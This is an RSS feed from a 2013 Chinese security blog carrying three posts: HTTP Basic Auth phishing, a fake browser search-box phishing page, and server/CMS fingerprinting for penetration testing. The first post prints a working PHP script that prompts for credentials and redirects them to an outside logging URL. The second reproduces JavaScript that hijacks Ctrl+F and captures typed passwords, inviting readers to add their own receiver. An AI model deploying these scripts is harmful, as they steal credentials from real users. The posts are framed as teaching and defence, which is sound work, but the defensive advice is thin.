<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DiS9 TeAm</title>
	<atom:link href="http://newdis9.sinaapp.com/feed" rel="self" type="application/rss+xml" />
	<link>http://newdis9.sinaapp.com</link>
	<description>探索这一切...</description>
	<lastBuildDate>Fri, 17 May 2013 12:00:37 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.1</generator>
		<item>
		<title>基础认证钓鱼攻击与防范</title>
		<link>http://newdis9.sinaapp.com/2013/31.html</link>
		<comments>http://newdis9.sinaapp.com/2013/31.html#comments</comments>
		<pubDate>Fri, 17 May 2013 11:28:21 +0000</pubDate>
		<dc:creator>Dis9 TeAm</dc:creator>
				<category><![CDATA[Web安全]]></category>
		<category><![CDATA[文章]]></category>

		<guid isPermaLink="false">http://newdis9.sinaapp.com/?p=31</guid>
		<description><![CDATA[基础认证钓鱼攻击与防范 Joe Lynch 前言 这几天基础认证钓鱼很火，我们来了解一下！ 正文 首先大家回想 [...]]]></description>
			<content:encoded><![CDATA[<h1>基础认证钓鱼攻击与防范</h1>
<p>Joe Lynch</p>
<ul>
<li>前言</li>
</ul>
<p>这几天基础认证钓鱼很火，我们来了解一下！</p>
<ul>
<li>正文</li>
</ul>
<p>首先大家回想一下，在访问路由器的时候是不是会弹出这样的一个弹窗让你输入帐号密码登录呢</p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/9f7724d2d539b600e409d8fae950352ac45cb7f74.jpg" class="pirobox_gall" title="基础认证钓鱼攻击与防范"><img class="alignnone size-full wp-image-146" title="9f7724d2d539b600e409d8fae950352ac45cb7f7" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/9f7724d2d539b600e409d8fae950352ac45cb7f74.jpg" alt="基础认证钓鱼攻击与防范" alt="" width="359" height="373" /></a></p>
<p>没错这就是最近很火的基础认证。</p>
<p>那我们如何用php<span style="font-family: 宋体;">来实现钓鱼攻击呢。</span></p>
<p>在<span style="font-family: 'Times New Roman';">php</span><span style="font-family: 宋体;">手册中有以下代码来演示基础认证登录。</span></p>
<pre class="brush: php; title: ; notranslate">

if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm=&quot;My Realm&quot;');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo &quot;&lt;p&gt;Hello {$_SERVER['PHP_AUTH_USER']}.&lt;/p&gt;&quot;;
echo &quot;&lt;p&gt;You entered {$_SERVER['PHP_AUTH_PW']} as your password.&lt;/p&gt;&quot;;
}
</pre>
<p>首先定义HTTP头为WWW-Authenticate，然后相应为401 这样就可以构造一个简单的基础认证框。</p>
<p>基本流程，用户访问被污染服务器，服务器返回信息，浏览器访问图片地址，图片服务器返回401响应，http头为WWW-Authenticate &#8230;..  ，浏览器弹出基础认证框， 由于Location:被定义为收信地址所以，浏览器跳转并转递信息至收信地址。 攻击完成。</p>
<p>贴出攻击代码吧。</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$info=@$_GET['info'];
if(!isset($_SERVER['PHP_AUTH_USER'])){
header(&quot;WWW-Authenticate:BASIC Realm=$info&quot;);
header(&quot;HTTP/1.0 401 Unauthorized&quot;);
exit;
}else{
/*获取用户名，密码进行验证*/
$user=$_SERVER['PHP_AUTH_USER'];
$pwd=$_SERVER['PHP_AUTH_PW'];
extract($_GET,EXTR_SKIP);
if($user&amp;&amp;$pwd){

header(&quot;Location:http://www.baidu.com/config/log.php?user=$user&amp;pass=$pwd&quot;);
}else{
header(&quot;WWW-Authenticate:BASIC Realm=user&quot;);
header(&quot;HTTP/1.0 401 Unauthorized&quot;);
exit;
}
}

?&gt;

</pre>
<p>防范措施：</p>
<p>由于这种攻击并不是由漏洞造成的所以我们的防范手法只能去确定图片地址是否为有效图片。</p>
<p>我们可以用以下代码来验证图片是否有效！</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
$url = 'http://www.baidu.com/img/baidu_sylogo1.gif';
if( @fopen( $url, 'r' ) )
{
echo 'File Exits';
}
else
{
echo 'File Do Not Exits';
}
?&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://newdis9.sinaapp.com/2013/31.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>浏览器搜索框劫持钓鱼</title>
		<link>http://newdis9.sinaapp.com/2013/19.html</link>
		<comments>http://newdis9.sinaapp.com/2013/19.html#comments</comments>
		<pubDate>Fri, 17 May 2013 11:17:08 +0000</pubDate>
		<dc:creator>Dis9 TeAm</dc:creator>
				<category><![CDATA[Web安全]]></category>
		<category><![CDATA[文章]]></category>

		<guid isPermaLink="false">http://newdis9.sinaapp.com/?p=19</guid>
		<description><![CDATA[浏览器搜索框劫持钓鱼 http://h43z.koding.com/blog/leaked.html 如以上网 [...]]]></description>
			<content:encoded><![CDATA[<p>浏览器搜索框劫持钓鱼</p>
<pre><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/test.gif" class="pirobox_gall" title="浏览器搜索框劫持钓鱼"><img title="test" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/test.gif" alt="浏览器搜索框劫持钓鱼" alt="" width="789" height="400" /></a></pre>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/password-pilfering-640x4321.jpg" class="pirobox_gall" title="浏览器搜索框劫持钓鱼"><img class="alignnone size-full wp-image-143" title="password-pilfering-640x432" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/password-pilfering-640x4321.jpg" alt="浏览器搜索框劫持钓鱼" alt="" width="640" height="432" /></a></p>
<p>http://h43z.koding.com/blog/leaked.html</p>
<p>如以上网站所显示，当你按下ctrl+f 或win+f  组合键是就会弹出一个搜索框其实这个所说框是黑客所伪造的。</p>
<p>攻击流程：当一名攻击者将一个精心构造的页面发给用户，谎称在这个页面查查你的密码是不是被泄露了。</p>
<p>当用户访问后按组合键呼出伪造的搜索框把自己真实的用户名密码输入进去,黑客完成攻击！</p>
<pre>我们来解析一下代码分析工作原理
<pre class="brush: jscript; title: ; notranslate">
&lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js&quot;&gt;&lt;/script&gt;//加载jquery 用于执行特效&lt;script type=&quot;text/javascript&quot; src=&quot;highlight.js&quot;&gt;&lt;/script&gt;														//加载代码高亮

&lt;script type=&quot;text/javascript&quot;&gt;// &lt;![CDATA[
/* nyan nyan */
	passwordlist = $(&quot;#passwords&quot;);		//定义数组
	counter = 0;

	/* format list */
	list = passwordlist.text().replace(/\r\n|\r|\n/g,&quot;
&quot;);
	passwordlist.empty();
	passwordlist.html(list).show();

	$(window).keydown(function(evt){				//劫持按键
		if((evt.which == &quot;70&quot; &amp;&amp; (evt.metaKey || evt.ctrlKey))){
			console.log(&quot;STRG+F&quot;);
			evt.preventDefault();
			$(&quot;#searchbox&quot;).slideDown(110);
			$('#search').focus();
		}
	});

	$(&quot;#search&quot;).keyup(function(e){						//记录你写了点啥，顺便高亮显示出来，忽悠你让你以为密码没有泄露
		input = this.value;
		send(input);									//发生密码

		if(this.value == &quot;&quot;){
			$(&quot;#searchresult&quot;).empty();
			passwordlist.removeHighlight();
		}else{
			passwordlist.removeHighlight().highlight(input);
			count = $('.highlight').length;
			if(count == 0){ /* password is not in the list */
				insert_fake(input);
				count = 1;
			}else{
				$('html,body').animate({scrollTop:$(&quot;.highlight&quot;).offset().top-300}, 1);
			}
            /* : ( , this sucks */
		    var r1 = Math.round(Math.random() * 138);
    		var r2 = Math.round((Math.random() * count)+138+r1);
			$(&quot;#searchresult&quot;).text(r1+&quot; of &quot;+ r2);
		}
	});

	function insert_fake(input){
		var pass_array = passwordlist.html().split(&quot;
&quot;);
		var position = Math.round(Math.random() * (pass_array.length-1));

		passwordlist.empty();

		for(var i=0;i&lt;pass_array.length;i++){
			if(i == position){
				var l = pass_array[position].length;
				var r1 = Math.floor(Math.random()*(l-1));
				var old = pass_array[position].replace(/&lt;(?:.|\n)*?&gt;/gm, '');
				var fakepass = old.slice(0, r1) + input + old.slice(r1);
                /* this, too*/
				passwordlist.append(&quot;&lt;a id=&quot;+counter+&quot;&gt;&quot;+fakepass+&quot;&lt;/a&gt;&quot;);

				$('html,body').animate({scrollTop:$(&quot;#&quot;+counter).offset().top-300}, 1);
			}else{
				passwordlist.append(pass_array[i]);
			}
			if(i &lt; pass_array.length - 1){ 				passwordlist.append(&quot; &quot;); 			} 		} 		passwordlist.removeHighlight().highlight(input);	 		counter++; 	} 	$(&quot;#searchbox&quot;).click(function(e){  		$(&quot;#searchbox&quot;).slideUp(110); 		passwordlist.removeHighlight(); 	}); 	function send(pass){				//记录密码 		/* save serverside <img src='http://newdis9.sinaapp.com/wp-content/themes/dis9/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  */ 		console.log(&quot;$$$: &quot;+pass);		//这里可以改为你的攻击代码，比如接收密码的php文件！ 	}
// ]]&gt;&lt;/script&gt;

</pre>
<p>小编：我真心不懂js 只是靠意念注释了这段代码，大家将就看吧。sorry</p>
]]></content:encoded>
			<wfw:commentRss>http://newdis9.sinaapp.com/2013/19.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>网络指纹识别</title>
		<link>http://newdis9.sinaapp.com/2013/12.html</link>
		<comments>http://newdis9.sinaapp.com/2013/12.html#comments</comments>
		<pubDate>Fri, 17 May 2013 11:15:21 +0000</pubDate>
		<dc:creator>Dis9 TeAm</dc:creator>
				<category><![CDATA[Web安全]]></category>
		<category><![CDATA[文章]]></category>

		<guid isPermaLink="false">http://newdis9.sinaapp.com/?p=12</guid>
		<description><![CDATA[1、前言 在渗透测试中我们的首要任务就是收集信息,那么通过网络指纹识别那是比不缺少的一个环节。下面我们就来介绍 [...]]]></description>
			<content:encoded><![CDATA[<div>
<hr />
</div>
<h1></h1>
<h1><span style="font-size: 1.5em;">1、前言</span></h1>
<p>在渗透测试中我们的首要任务就是收集信息,那么通过网络指纹识别那是比不缺少的一个环节。下面我们就来介绍几种常见网络识别方法。</p>
<h2>2.1 Netcat</h2>
<p>如果我们要知道一台服务器是采用什么作为http服务器,那么netcat就是一个不错的选择。</p>
<p>root@bt:~# nc www.91ri.org 80</p>
<p>HEAD / HTTP/1.1</p>
<p>Host:www.91ri.org</p>
<p>我们可以自己构造一个http请求来得知服务器采用的http server .</p>
<p>当然www.91ri.org使用CDN 所以我们得到的server并不是真正的http server.</p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片2.png" class="pirobox_gall" title="网络指纹识别"><img title="图片2" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片2-300x209.png" alt="网络指纹识别" alt="" width="300" height="209" /></a></p>
<p>Telnet 也有同样的效果我这里就不介绍了.</p>
<p>小贴士如何判断服务器是否采用CDN?</p>
<p>你可以采取从不同地理位置来ping服务器看是否获取同样的IP地址来判断。</p>
<p>当然这也有可能是DNS智能解析.百度搜索:超级ping</p>
<h2>2.2 nmap</h2>
<p>Nmap众所周知很强大的一款网络探测软件.</p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片3.jpg" class="pirobox_gall" title="网络指纹识别"><img title="图片3" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片3.jpg" alt="网络指纹识别" alt="" width="539" height="213" /></a></p>
<h2>3.1如何判断这是采用了那款CMS?</h2>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片4.png" class="pirobox_gall" title="网络指纹识别"><img title="图片4" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片4.png" alt="网络指纹识别" alt="" width="555" height="211" /></a></p>
<p>我们可以查看源码来分析,比如wordpress我们就可以在&lt;meta name=&#8221;generator&#8221; 标签处看到他的具体版本号!</p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片5.png" class="pirobox_gall" title="网络指纹识别"><img title="图片5" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片5.png" alt="网络指纹识别" alt="" width="554" height="114" /></a></p>
<p>我们也可以从调用CSS的路径看出他是用的是wordpress.</p>
<p>大家都知道如果没用修改从网站底部可以看到他的系统名称与版本号.</p>
<p>那么如果他删除了底部的信息呢？</p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片6.png" class="pirobox_gall" title="网络指纹识别"><img title="图片6" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片6.png" alt="网络指纹识别" alt="" width="555" height="34" /></a></p>
<p>我们可以从 搜索 功能提交的参数来判断.</p>
<p>如图中站点我们可以百度搜索inurl:/search.asp?m=0&amp;s=0&amp;word=</p>
<p>我们可以发现这个网站采用了新云CMS.</p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片7.png" class="pirobox_gall" title="网络指纹识别"><img title="图片7" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片7.png" alt="网络指纹识别" alt="" width="414" height="40" /></a></p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片8.png" class="pirobox_gall" title="网络指纹识别"><img title="图片8" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片8.png" alt="网络指纹识别" alt="" width="332" height="35" /></a></p>
<p>我们可以从搜索返回提示来确定这个网站肯定是采用新云CMS</p>
<h2>3.2 在线工具识别</h2>
<p>如sebug就提供了这个功能.</p>
<p><a href="http://sebug.net/node/t-12">http://sebug.net/node/t-12</a></p>
<h2>4.1 通过工具自动识别</h2>
<p>比如我们熟知的whatweb ,httprecon等</p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片10.jpg" class="pirobox_gall" title="网络指纹识别"><img title="图片10" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片10.jpg" alt="网络指纹识别" alt="" width="542" height="531" /></a></p>
<p><a href="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片9.png" class="pirobox_gall" title="网络指纹识别"><img title="图片9" src="http://blogdis9-wordpress.stor.sinaapp.com/uploads/2012/12/图片9.png" alt="网络指纹识别" alt="" width="554" height="216" /></a></p>
<p>工具的使用我就不介绍了。</p>
<h2>5.1 写在最后</h2>
<p>我的联系方式:hkhdgj@Hotmail.com</p>
<p>如有疑问与意见请及时与我联系.</p>
<p>感谢hkhdgj的投稿！</p>
]]></content:encoded>
			<wfw:commentRss>http://newdis9.sinaapp.com/2013/12.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
